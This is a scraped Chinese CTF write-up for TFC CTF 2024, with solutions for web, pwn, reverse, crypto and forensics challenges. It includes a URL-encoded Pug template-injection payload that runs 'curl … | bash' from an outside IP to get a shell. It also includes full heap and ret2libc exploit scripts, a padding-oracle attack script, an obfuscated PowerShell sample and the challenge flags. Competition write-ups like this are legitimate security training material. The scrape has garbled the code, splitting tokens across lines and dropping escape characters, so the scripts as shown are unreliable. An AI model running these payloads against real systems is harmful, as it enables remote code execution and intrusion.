❝
https://ctf.thefewchosen.com/challenges
This year, The Few Chosen are thrilled to host our fourth annual Capture The Flag (CTF) event, set to take place from August 2nd to 4th, 2024.
We, a committed team of cyber enthusiasts who've cut our teeth on countless CTFs, are channelling our passion for cybersecurity into curating this unique, immersive CTF experience. We've meticulously engineered the event's website from scratch, ensuring a seamless and enriching user experience. Our diverse set of challenges spans Pwn, Reverse, Web, Crypto, and Misc, each graded from "Warmup" to "Hard".
This deliberate spectrum of difficulty ensures our CTF event is universally accessible - from cybersecurity novices eager to learn the ropes, to seasoned experts looking to flex their skills in a challenging environment. Mark your calendars for a uniquely immersive cybersecurity adventure. The Few Chosen CTF 2024: The perfect platform for honing skills, fueling passions, and embracing the cybersecurity community.
Sponsors:
Offensive Security
HackTheBox
Binary NinjaInfra sponsored by goo.gle/ctfsponsorship
WEB
GREETINGS
❝
Welcome to our ctf! Hope you enjoy it! Have fun 欢迎来到我们的ctf!希望你喜欢它!玩得开心
pug 的 SSTI
GET /result?username=%
23
%
7
b%
66
%
75
%
6
e%
63
%
74
%
69
%
6
f%
6
e%
28
%
29
%
7
b%
6
c%
6
f%
63
%
61
%
6
c%
4
c%
6
f%
61
%
64
%
3
d%
67
%
6
c%
6
f%
62
%
61
%
6
c%
2
e%
70
%
72
%
6
f%
63
%
65
%
73
%
73
%
2
e%
6
d%
61
%
69
%
6
e%
4
d%
6
f%
64
%
75
%
6
c%
65
%
2
e%
63
%
6
f%
6
e%
73
%
74
%
72
%
75
%
63
%
74
%
6
f%
72
%
2
e%
5
f%
6
c%
6
f%
61
%
64
%
3
b%
73
%
68
%
3
d%
6
c%
6
f%
63
%
61
%
6
c%
4
c%
6
f%
61
%
64
%
28
%
22
%
63
%
68
%
69
%
6
c%
64
%
5
f%
70
%
72
%
6
f%
63
%
65
%
73
%
73
%
22
%
29
%
2
e%
65
%
78
%
65
%
63
%
28
%
27
%
63
%
75
%
72
%
6
c%
20
%
34
%
33
%
2
e%
31
%
33
%
35
%
2
e%
31
%
34
%
32
%
2
e%
37
%
37
%
3
a%
37
%
30
%
30
%
31
%
2
f%
72
%
2
e%
74
%
78
%
74
%
7
c%
62
%
61
%
73
%
68
%
27
%
29
%
7
d%
28
%
29
%
7
d HTTP/
1.1
Host
: challs.tfcctf.com:
32230
Upgrade-Insecure-Requests:
1
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
123.0
.6312
.58
Safari/
537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=
0.9
,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challs.tfcctf.com:32230/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
用了海外的服务器接收shell,国内的接收不到
参考:https://github.com/TheWation/NodeJsSSTI
Pwn
GUARD-THE-BYPASS
❝
Guard this cookie.
Note: If you successfully create a working exploit in the provided Docker, ensure you try the exploit multiple times on the remote system if any issues arise.
保护好这个饼干。
注意:如果您在提供的 Docker 中成功创建了一个有效的漏洞利用程序,请确保在出现任何问题时在远程系统上多次尝试利用该漏洞利用程序。
是个多线程程序,溢出覆盖栈上高地址位的canary绕过canary,然后ret2libc,直接用ogg打
from
pwn
import
*
from
pwncli
import
*
s =
lambda
data :io.send(data)
sa =
lambda
tag,data :io.sendafter(tag, data)
sl =
lambda
data :io.sendline(data)
sla =
lambda
tag,data :io.sendlineafter(tag, data)
r =
lambda
num=
4096
:io.recv(num)
ru =
lambda
tag, drop=
True
:io.recvuntil(tag, drop)
p =
lambda
s: print(
'�33[1;31;40m%s --> 0x%x �33[0m'
% (s, eval(s)))
l64 =
lambda
:u64(io.recvuntil(
"x7f"
)[
-6
:].ljust(
8
,
b"x00"
))
elf = ELF(
"./pwn"
)
io = remote(
""
,)
ru(
b"chall.n"
)
sl(
b"1"
)
sleep(
0.5
)
ru(
"len: "
)
sl(
f"
{
0x1000
}
"
.encode())
sleep(
0.5
)
rdi_ret =
0x0000000000401256
ret =
0x000000000040101a
data =
0x404280
d = p64(data)*
7
+ p64(rdi_ret) + p64(elf.got[
'getchar'
]) + p64(elf.plt[
'puts'
]) + p64(elf.sym[
'game'
])
d += ((
0x850
- len(d))//
8
) * p64(data)
sl(d)
sleep(
0.5
)
ogg = [
0xebc81
,
0xebc85
,
0xebc88
,
0xebce2
,
0xebd38
,
0xebd3f
,
0xebd43
]
getchar = u64(io.recv(
6
).ljust(
8
,
b"x00"
))
libc = ELF(
"./libcs/libc.so.6"
)
libc_base = getchar - libc.sym[
'getchar'
]
p(
"libc_base"
)
d = p64(data)*
7
d =
b"x00"
+ d + p64(libc_base + ogg[
5
])
sl(d)
sleep(
0.5
)
io.interactive()
VSPM
❝
I got tired of remembering my passwords... Password managers are so useful!
我厌倦了记住密码...密码管理器太有用了!
一道基础的堆题,太久没写堆,调了好久。。。 经典菜单题
add里面有个溢出,可以覆盖bss中存储的chunk指针
由于前面限制了size小于等于0x78,所以需要先构造unsorted bin泄露libc,通过在两个堆块的data区域写header信息,然后低字节溢出修改bss上chunk指针,指向伪造的大堆块,free后得到块unsortedbin
然后申请一块内存,利用unsortedbin的残余数据拿到libc地址,接着就是free伪造堆块内部的一块0x70的chunk得到fastbin,从unsortedbin申请内存改写该fastbin的fd,fastbin attack打malloc hook
from
pwn
import
*
s =
lambda
data :io.send(data)
sa =
lambda
tag,data :io.sendafter(tag, data)
sl =
lambda
data :io.sendline(data)
sla =
lambda
tag,data :io.sendlineafter(tag, data)
r =
lambda
num=
4096
:io.recv(num)
ru =
lambda
tag, drop=
True
:io.recvuntil(tag, drop)
p =
lambda
s: print(
'�33[1;31;40m%s --> 0x%x �33[0m'
% (s, eval(s)))
l64 =
lambda
:u64(io.recvuntil(
"x7f"
)[
-6
:].ljust(
8
,
b"x00"
))
def
g
()
:
gdb.attach(io)
raw_input()
elf = ELF(
"./pwn"
)
io = remote(
""
,)
def
add
(size,c1,c2)
:
sla(
b"Input: "
,
b"1"
)
sla(
b"length: "
,str(size).encode())
sa(
b"Enter credentials:"
,c1)
sa(
b"the credentials:"
,c2)
def
show
()
:
sla(
b"Input: "
,
b"2"
)
def
delete
(idx)
:
sla(
b"Input: "
,
b"3"
)
sla(
b"index:"
,str(idx).encode())
add(
0x60
,p64(
0
)+p64(
0x121
),
b"a"
)
# 0
add(
0x60
,
b"B"
,
b"b"
)
# 1
add(
0x60
,
b"C"
*
0x48
+p64(
0x21
),
b"c"
)
# 2
delete(
1
)
add(
0x60
,
b"A"
,
b"a"
*
0x20
+
b"x20"
)
# 1
delete(
2
)
add(
0x20
,
b"xc0"
,
b"a"
)
# 2
show()
ru(
b"2. a --> "
)
__malloc_hook = u64(io.recv(
6
).ljust(
8
,
b"x00"
)) -
0x70
-
0x100
libc = ELF(
"./libcs/libc-2.30.so"
)
libc_base = __malloc_hook - libc.sym[
'__malloc_hook'
]
p(
"libc_base"
)
delete(
1
)
add(
0x70
,
b"D"
*
0x28
+p64(
0x71
)+p64(__malloc_hook
-0x23
),
b"A"
)
add(
0x60
,
b"A"
,
b"a"
)
ogg = [
0x42e69
,
0x42e7a
,
0x6f821
,
0x6f82f
,
0x6f834
,
0xc4dbf
,
0xc4ddf
,
0xc4de6
,
0xe1fa1
,
0xe1fad
]
add(
0x60
,
b"A"
*
0xb
+p64(
0
)+p64(libc_base+ogg[
8
]),
b"a"
)
sla(
b"Input: "
,
b"1"
)
sla(
b"length: "
,
b"32"
)
# g()
io.interactive()
MCBACK2DABASICS
❝
Back 2 the chunks back 2 the muney back 2 the writes I don't listen 2 u when u corrupted cause u just talkin out of bytes You'll clear some certain bins just to see us overwrite...
返回 2 个块 返回 2 个货币 返回 2 个写入,我不听 2 当你损坏时,因为你只是谈论字节不足 你会清除某些特定的垃圾箱,只是为了看到我们覆盖...
同样堆题,但是没show
有uaf
并且申请的堆块大小有限制
思路就是
-
通过uaf构造double free,在堆块中伪造chunk,覆盖fd低字节fastbin attack构造堆块重叠,修改chunk的size大于fastbin的范围,free后得到unsorted bin -
通过调整使得fastbin的fd和unsorted bin的fd重叠,从而在fastbinfd上有libc地址,由于main_area和_IO_2_1_stdout_离得很近,所以覆盖低2字节使得fd有十六分之一的概率落在_IO_2_1_stdout_上方 -
通过fastbin attack修改_IO_2_1_stdout_中的_IO_write_base,使得调用puts时会输出内容,其中就包含libc地址 -
拿到libc地址后fastbin attack攻击malloc hook,将其覆盖为ogg获取shell
from
pwn
import
*
s =
lambda
data :io.send(data)
sa =
lambda
tag,data :io.sendafter(tag, data)
sl =
lambda
data :io.sendline(data)
sla =
lambda
tag,data :io.sendlineafter(tag, data)
r =
lambda
num=
4096
:io.recv(num)
ru =
lambda
tag, drop=
True
:io.recvuntil(tag, drop)
p =
lambda
s: print(
'�33[1;31;40m%s --> 0x%x �33[0m'
% (s, eval(s)))
l64 =
lambda
:u64(io.recvuntil(
"x7f"
)[
-6
:].ljust(
8
,
b"x00"
))
def
g
()
:
gdb.attach(io)
raw_input()
def
add
(size,content)
:
sla(
b"[+]> "
,
b"1"
)
sla(
b"[+]> "
,str(size).encode())
sa(
b"Data?"
,content)
def
quit
()
:
sla(
b"[+]> "
,
b"3"
)
def
delete
(idx)
:
sla(
b"[+]> "
,
b"2"
)
sla(
b"[+]> "
,str(idx).encode())
libc = ELF(
"./libc-2.24.so"
)
def
exp
()
:
add(
0x60
,
b"A"
*
0x18
+p64(
0x71
))
# 0
add(
0x60
,
b"B"
*
0x18
+p64(
0x51
)+
b"A"
*
8
+p64(
0x71
))
# 1
add(
0x60
,
b"C"
)
# 2
add(
0x60
,
b"D"
*
0x18
+p64(
0x51
))
# 3
delete(
1
)
delete(
2
)
delete(
1
)
add(
0x60
,
b"xa0"
)
# 4
add(
0x60
,
b"E"
)
# 5
add(
0x60
,
b"F"
)
# 6
add(
0x60
,
b"F"
)
# 7 # ------
delete(
0
)
delete(
1
)
delete(
0
)
add(
0x60
,
b"x20"
)
# 8
add(
0x60
,
b"E"
)
# 9
add(
0x60
,
b"F"
)
# 10
add(
0x60
,
b"B"
*
0x48
+p64(
0x101
))
# 11
delete(
2
)
add(
0x60
,
b"A"
*
0x28
+p64(
41
))
# 12
delete(
2
)
delete(
1
)
delete(
7
)
#
add(
0x40
,
b"A"
)
# 13
add(
0x10
,
b"A"
)
# 14
print(
"-------"
)
add(
0x60
,
b"A"
*
0x38
+p64(
0x71
)+p16(
0x35bd
))
# 15
# g()
add(
0x60
,
b"A"
)
# 16
add(
0x61
,
b"x00"
*
0x33
+p64(
0xfbad1800
) + p64(
0
) *
3
+ p8(
0
))
# 17
ru(
"x00x18xadxfb"
)
r(
36
)
libc_base = u64(r(
6
).ljust(
8
,
b"x00"
)) -
131
- libc.sym[
'_IO_2_1_stdout_'
]
__malloc_hook = libc_base + libc.sym[
'__malloc_hook'
]
add(
0x60
,
b"A"
)
# 18
add(
0x60
,
b"A"
)
# 19
delete(
18
)
delete(
19
)
delete(
18
)
add(
0x60
,p64(__malloc_hook
-0x23
))
# 18
add(
0x60
,
b"A"
)
# 19
add(
0x60
,
b"A"
)
# 19
ogg = [
0x4551f
,
0x45526
,
0x4557a
,
0xcde41
,
0xce0e1
,
0xce0e5
,
0xce0e9
,
0xf1651
,
0xf165d
,
0xf24cb
]
add(
0x60
,
b"A"
*
0xb
+p64(
0
)+p64(libc_base+ogg[
5
]))
# 19
sla(
b"[+]> "
,
b"1"
)
sla(
b"[+]> "
,
f"
{
0x60
}
"
.encode())
# g()
while
True
:
try
:
io = remote(
"challs.tfcctf.com"
,
31252
)
exp()
io.interactive()
except
KeyboardInterrupt:
exit(
0
)
except
:
io.close()
continue
Misc
RULES
❝
Read the rules!
阅读规则!
DISCORD SHENANIGANS V4
复制下来
Reverse
SIGNAL
❝
Can you catch the right signals for the flag?
The flag length is 32 bytes (without the flag format).
你能捕捉到旗帜的正确信号吗?
标志长度为32字节(无标志格式)。
很有意思的题。附件拖入ida
问问gpt。看起来是利用信号来检查
解出很简单,拼凑起来即可
TFCCTF{b11e807f65b27dcf82e70c4bad63a3eb}
X8
❝
Who needs more than 8 bits anyway? 谁需要8位以上呢?
给了两个附件,x8拖入ida
稍微一调试,就能发现x8::vm::VM::run是关键,进去看看
再稍微一调试,就发现上图是更关键的部分,包含输入和输出部分,而那个instruction parse函数一看都引不起兴趣,所以核心是中间两个rdx和r15的call。进入调试部分
第一遍第一个call如上图所示,返回值al等于3,看名称应该是指令的长度,而且好像是cmp指令。第一遍第二个call如下图所示,看起来像是执行了mov指令
第二个call的参数rsi的内容如下,刚好对应program.bin文件的内容
多记录几条,方便总结规律。并且发现好像一直在改变rsi的内容
最后rsi的内容如下
然后就是输入,继续调试并且记录
不难发现,好像是逐个比较,详细追踪vm的mov指令执行过程就能找到vm的寄存器位置,下图中的0x31即为我的输入首个字符
发现好像就是输入与右边第一个字节异或后再与右边第二个字节比较,右边第二个字节还是经过一系列与输入无关的运算才得到的
那直接手搓就好了,问题是不可能只得到一位字符就让程序退出吧,肯定是希望无论对错,程序都能一直执行下去。那就要patch一下了,可以选择改vm的cmp执行,原结果是cl,那直接赋值1就行了
TFCCTF{3ede51da1709268b2cefddcd93c4cd98}
VIRTUAL-REV
❝
I managed to break into a secret infrastructure, but it seems they use some weird language...
我设法闯入了一个秘密的基础设施,但似乎他们使用了一些奇怪的语言...
附件拖入ida
最后一个函数是输出flag部分,要满足五个数相等,而这五个数所在的数组即vm的内存和寄存器,需要构造合适的vm指令进行运算,最后得到这五个数
vm指令分为两种,有两个操作数的和只有一个操作数的,没有立即数寻址,只能在vm的内存(或者可以把内存全看成寄存器,也就是有七个寄存器)进行计算
理解函数作用是第一层,这一层就不多说,自己调试加理解,如上图所示,但里面那个shl左移指令好像在特定情况下是会多移一位,有点小坑。第二层是构造汇编指令,同时还要转成限定的助记符,这也不用多说,看脚本就完了
from
pwn
import
*
#from LibcSearcher import *
local=
0
if
local==
1
:
p=remote(
'192.168.202.129'
,
10001
)
else
:
p=remote(
'challs.tfcctf.com'
,
31545
)
#context.log_level='debug'
#context.arch='i386'
#context.os='linux'
p.recvuntil(
b'Insert luma code: n'
)
payload=
b'''OAN lax
OAN lax
MISZ l3,lax
MISZ l4,lax
MISZ l5,lax
STF l5,lax
RALK l0,l5
XKA l5,lax
RALK l0,l5
XKA l5,lax
RALK l0,l5
OAN lax
STF l5,lax
MAZ lax
MISZ l1,l5
RALK l0,l5
OAN l0
XKA l5,lax
XKA l5,lax
RALK l0,l5
LQDM l1,l3
STF l3,l4
XKA l3,l4
MQZL l1,l3
MISZ l2,l1
XKA l4,lax
MQZL l1,l4
RALK l2,l4
OAN l2
MISZ l3,l1
OAN l3
MISZ l5,l4
MISZ l4,l1
XKA lax,l5
MQZL l4,lax
MQZL l4,l5
OAN l4
FLG'''
p.sendline(payload)
p.interactive()
#TFCCTF{70b3b426b72ed46f6595c4107797b21821757ea75a91fe887c952c03f84c0e06}
BRAVE TRAVELER
❝
There's a whole world left to explore.
还有整个世界有待探索。
附件拖入ida
程序看着挺简单,但是有点脑洞。运行一看
发现好像左右括号都没有,明明看见了123和125。先提取所有的set插入操作
(46,10),(95,72),(111,100),(105,125),(100,108),(100,117),(108,99),(101,97),(111,48),(108,107),(0,103),(107,46),(123,101),(97,53),(84,70),(70,67),(95,106),(97,121),(53,98),(103,111),(100,32),(95,81),(53,102),(53,115),(115,95),(81,105)
按照程序输出逻辑,确实不会输出左右括号,因为根节点写死为0了(queue的第一次push了0)。但如果按照flag的格式,又发现没有set里存放的是84即'T',只有一个84的根节点。换种思路,倒过来想,再看看125即'}',发现有而且能向上推,刚好到123即'{'。bfs遍历即得
TFCCTF{ea5ybfs_HQji}
Crypto
CCCCC
❝
CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC
5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca
把c去掉即可
from
Crypto.Util.number
import
*
data =
"5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca"
data = data.split(
"c"
)
data = int(
""
.join(data),
16
)
data = long_to_bytes(data)
print(data)
Genetics
❝
I just took a quick look at my DNA. I feel like I was created for this CTF.
CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC
DNA编码,有8种情况,写个脚本遍历所有情况就行
from
Crypto.Util.number
import
*
DNA = [
{
"A"
:
"00"
,
"C"
:
"01"
,
"G"
:
"10"
,
"T"
:
"11"
},
{
"A"
:
"01"
,
"C"
:
"00"
,
"G"
:
"11"
,
"T"
:
"10"
},
{
"A"
:
"10"
,
"C"
:
"11"
,
"G"
:
"00"
,
"T"
:
"01"
},
{
"A"
:
"11"
,
"C"
:
"01"
,
"G"
:
"10"
,
"T"
:
"00"
},
{
"A"
:
"10"
,
"C"
:
"00"
,
"G"
:
"11"
,
"T"
:
"01"
},
{
"A"
:
"00"
,
"C"
:
"10"
,
"G"
:
"01"
,
"T"
:
"11"
},
{
"A"
:
"11"
,
"C"
:
"10"
,
"G"
:
"01"
,
"T"
:
"00"
},
{
"A"
:
"01"
,
"C"
:
"11"
,
"G"
:
"00"
,
"T"
:
"10"
}
]
data =
"CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC"
.replace(
" "
,
""
)
for
dic
in
DNA:
new_data = data
for
k,v
in
dic.items():
new_data = new_data.replace(k,v)
print(long_to_bytes(int(new_data,
2
)))
PADGROUNDS
❝
Welcome to Padgrounds, where every bit counts. Dive into the action and let your skills shine as you unravel the coded enigma.
Note: Make sure your solver works locally before running on remote.
欢迎来到 Padgrounds,这里的每一点都很重要。投入行动,在解开密码谜团时发挥你的技能。 注意:在远程运行之前,请确保您的解算器可以在本地运行。
有点抽象,就是padding Oracle,但是返回值是一个概率正确的值,所以要多次尝试通过概率来确定当前值是否正确,本地可以秒出,远程爆破时间真的长。。 其中getOk那应该是可以优化的,通过统计False应该更快
from
pwn
import
*
import
base64
# context.log_level = "debug"
# io = remote("127.0.0.1",9999)
io = remote(
"challs.tfcctf.com"
,
30242
)
io.recvuntil(
b"this: "
)
b64data = io.recvuntil(
b"n"
,drop=
True
)
io.recvuntil(
b"alreadyn"
)
data = base64.b64decode(b64data)
print(data)
cipher0, cipher = data[:
16
], data[
16
:]
cipher1 = cipher[:
16
]
cipher2 = cipher[
16
:
32
]
cipher3 = cipher[
32
:]
tag =
b"CTF{bdefgmnprsu012345_}"
cnt =
0
def
xorkey
(data,key)
:
return
bytes([i^key
for
i
in
data])
def
xorxor
(k1,k2)
:
return
bytes([i^j
for
i,j
in
zip(k1,k2)])
def
getOk
(data)
:
global
cnt
times =
0
for
_
in
range(
20
):
cnt +=
1
io.sendline(data)
# print(cnt)
if
b"True"
in
io.recvuntil(
b"n"
):
times +=
1
if
times >=
12
:
return
True
print(cnt)
return
times >=
12
res =
b""
for
i
in
range(
0
,
3
):
r_iv = eval(
f"cipher
{i}
"
)
mid =
b""
back_iv =
b""
head_iv = r_iv[:
-1
]
data = eval(
f"cipher
{i+
1
}
"
)
print(
"head_iv ==> "
,head_iv)
print(
"data ==> "
,data)
while
True
:
j = len(mid) +
1
if
j ==
17
:
break
print(
"------------------------------"
)
for
k
in
range(
256
):
new_iv = head_iv + int.to_bytes(k) + back_iv
new_data = new_iv + data
trydata = base64.b64encode(new_data)
trymid = int.to_bytes(j^k^r_iv[
16
-j])
if
(trymid
in
tag)
and
getOk(trydata):
mid = int.to_bytes(j^k) + mid
head_iv = head_iv[:
-1
]
back_iv = xorkey(mid,j+
1
)
print(mid)
break
res += xorxor(r_iv,mid)
print(res)
input()
print(res)
print(cnt)
# TFCCTF{g00d_p4dd1ngs_m4_fr1end5_rememb3r_2_fun1}
FORENSICS
HE DID WHAT?!
❝
After the attacker connected to our server, he managed to extract some random data, however encrypted. We trust to decrypt it and get the flag.
攻击者连接到我们的服务器后,他设法提取了一些随机数据,无论数据如何加密。我们相信能够解密它并获得标志。
$FBtFFDr8NXp5 =
"=oQDiUGel5SYjF2YiASZslmR0V3TtASKpkiI90zZhFDbuJGc5MEZoVzQilnVIRWe5cUY6lTeMZTTINGMShUYigyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1WocmbpJHdTRXZH5COGRVV6oTXn5Wak92YuVkL0hXZU5SblR3c5N1WoASayVVLgQ3clVXclJlYldVLlt2b25WS"
;
$w9r4pBoZlnfIzH1keCtX = $FBtFFDr8NXp5.ToCharArray() ; [array]::Reverse($w9r4pBoZlnfIzH1keCtX) ; -join $w9r4pBoZlnfIzH1keCtX
2
>&
1
> $
null
;
$SCr = [SyStem.TexT.encODINg]::uTF8.GeTsTrInG([SYSteM.coNVErT]::froMBaSe64STrinG(
"$w9r4pBoZlnfIzH1keCtX"
)) ;
$uqR =
"i"
+
"N"
+
"V"
+
"o"
+
"k"
+
"e"
+
"-"
+
"E"
+
"X"
+
"p"
+
"r"
+
"E"
+
"S"
+
"S"
+
"i"
+
"O"
+
"n"
; NEW-aLIaS -naME pWN -VaLuE $uqR -FORCe ; PWN $SCr ;
.caca.exe
"VHEEVH}x3uwcnad6u3eac3pvaj6tf"
第一行base64解码获得 exe 的短链接,反编译 exe
#include <stdio.h>
#include <string.h>
void
decryptString(char *str) {
int i;
int len = strlen(str);
for
(i =
0
; i < len; i++) {
str[i] = str[i] -
2
;
}
}
int main() {
char str[] =
"VHEEVH}x3uwcnad6u3eac3pvaj6tf"
;
printf(
"原始字符串: %sn"
, str);
decryptString(str);
printf(
"解密后字: %sn"
, str);
return
0
;
}
TFCCTF{v1sual_b4s1c_a1nt_h4rd}
作者
原文始发于微信公众号(WgpSec狼组安全团队):TFC CTF · 2024 WriteUp
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论